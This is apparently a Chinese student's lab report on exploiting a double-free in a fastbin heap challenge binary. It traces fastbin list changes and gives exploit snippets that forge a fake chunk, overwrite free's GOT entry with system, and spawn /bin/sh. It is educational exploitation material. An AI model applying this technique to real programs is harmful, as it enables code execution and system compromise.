漏洞分析技术实验四

实验目的

掌握堆漏洞中fastbinattack的原理和重复释放漏洞的利用方法.

实验条件

  1. 操作系统:Linux
  2. 语言环境:python
  3. 调试器:gdb、IDA Pro

实验要求

  1. 对被攻击程序的漏洞利用过程进行详细分析;
  2. 详细列出重复释放漏洞利用过程中 ,fastbin在4次malloc过程中的变化情况,以及system()函数地址被写入和system(/bin/sh)调用被调用的过程;

四、程序分析

通过IDA对程序进行反编译,发现程序提供了四种操作newwritedeleteexit,对它们分别进行分析;

new

用于malloc分配堆块,但限制最多只能分配九个堆块,并且限制了分配的大小小于96大于0,并且将malloc(v2)后的指针赋值给ptr,由于ptr数组是未被初始化的,因此ptr位于bss段;

write

用于在ptr[i]指向的位置直接进行read写操作,如果可以控制prt[i]的内容,就可以完成任意写;

delete

函数中使用free释放空间后,ptr指针没有清零,造成DouobleFree漏洞;

system

程序存在system函数,位于0x4006E0处,可以通过system函数实现/bin/sh

实验步骤

程序限制了malloc的大小,使得new只能申请到fastbin,所以利用fastbin attack来构造特定的chunk单链表链。

程序可以申请的大小为96字节(0x60,再加上sizeprev_size各8字节,一共是0x70, 在fastbin中会位于0x70的位置。

分析四次malloc过程中,fastbin的变化情况:

第一次malloc

首先进行第一次double free ,查看fastbin中的指针变化,步骤为

  • 按照顺序申请chunk0、chunk1;

  • 按照顺序释放chunk0、chunk1、chunk0;

    1
    2
    3
    4
    5
    New(p, 0x60) # 0
    New(p, 0x60) # 1
    Delete(p, 0)
    Delete(p, 1)
    Delete(p, 0)
  • 在申请chunk之前,fastbin如下:

  • 申请两个chunk之后,将chunk分配到fastbin中,其中堆顶的位置为0xb2c0e0

  • 当freechunk0之后,chunk0被放进fastbin里面,地址为0xb2c000;

  • freechunk1之后,chunk1被放进fastbin中,chunk1指向chunk0fd表示了 下一个未被使用的chunk的地址,这时后free的chunk1成为了fastbin中的首个chunk

  • 再次执行freechunk0时,由于fastbin在执行free的时候仅验证了链表指针头部的块,对于链表后面的块,并没有进行验证。所以再次freechunk0的时候,实际上是把chunk0又加到了链的开头;

第二次malloc

double free之后,我们使得链表的形式为0xb2c000—▸0xb2c070◂—0xb2c000,再次malloc时,会从链表末尾取下一个块,直接分配给用户,所以malloc到的2号实际上是0xb2c000,对该块进行编辑时,编辑起始的位置是0xb2c0e0

1
2
New(p, 0x60) # 2 
Write(p, 2, p64(0x60208d))

在执行过write 2 之后,地址0xb2c070位置被改变了,变成了0x60208d。由于0xb2c000仍然被记录在链表中,所以fastbins中链表的最后一项也发生了改变;

修改了的fastbin链表,导致的是0x60208d这块被当做了fastbin的一个块,在分配的时候,申请的0x60大小实际上会分配0x70大小,而0x7f,也就是图中的0x60802d开始的第二个字节,恰好满足分配的条件,如果再往左或往右偏移,会出现不满足条件的情况;

接下来进行了三次malloc操作,每一次malloc操作都会从fastbin链表头取一个块进行分配;

1
2
3
New(p, 0x60) # 3 
New(p, 0x60) # 4
New(p, 0x60) # 5
  • 取第一个块进行分配,分配0xb2c070

  • 取第二个块进行分配,分配0xb2c000

  • 第三次分配,把0xb2c070写入ptr[5]中,fastbin只剩下了之前0x60208d这个地址里面的内容;

  • 查看ptr所在的地方,可以看到ptr[0]=ptr[2]=ptr[4]ptr[1]=ptr[3],而ptr[5]bss段上的一个地址;

第三次malloc

接下来需要进行任意写,更改got表里某一函数的地址为system,并写入参数/bin/sh

1
2
3
4
5
6
Write(p, 4, '/bin/sh\x00')
payload = '\x00' * 3 + p64(elf.got['free']) * 3
Write(p, 5, payload)
Write(p, 2, p64(elf.plt['system']))
Delete(p, 4)
p.interactive()

在向5写入payload之后,也就是向bss段上的ptr写入payload,把0、1、2这三个的ptr都改为了free的got所在的地址0x602018

ptr地址

执行write 2之后,free函数got表的位置,理论上被写成system函数的地址,但是由于掌握不熟练,一直没有调试到地址位置0x4006E0

get shell

此时程序已经get shell完毕,可以执行命令如下;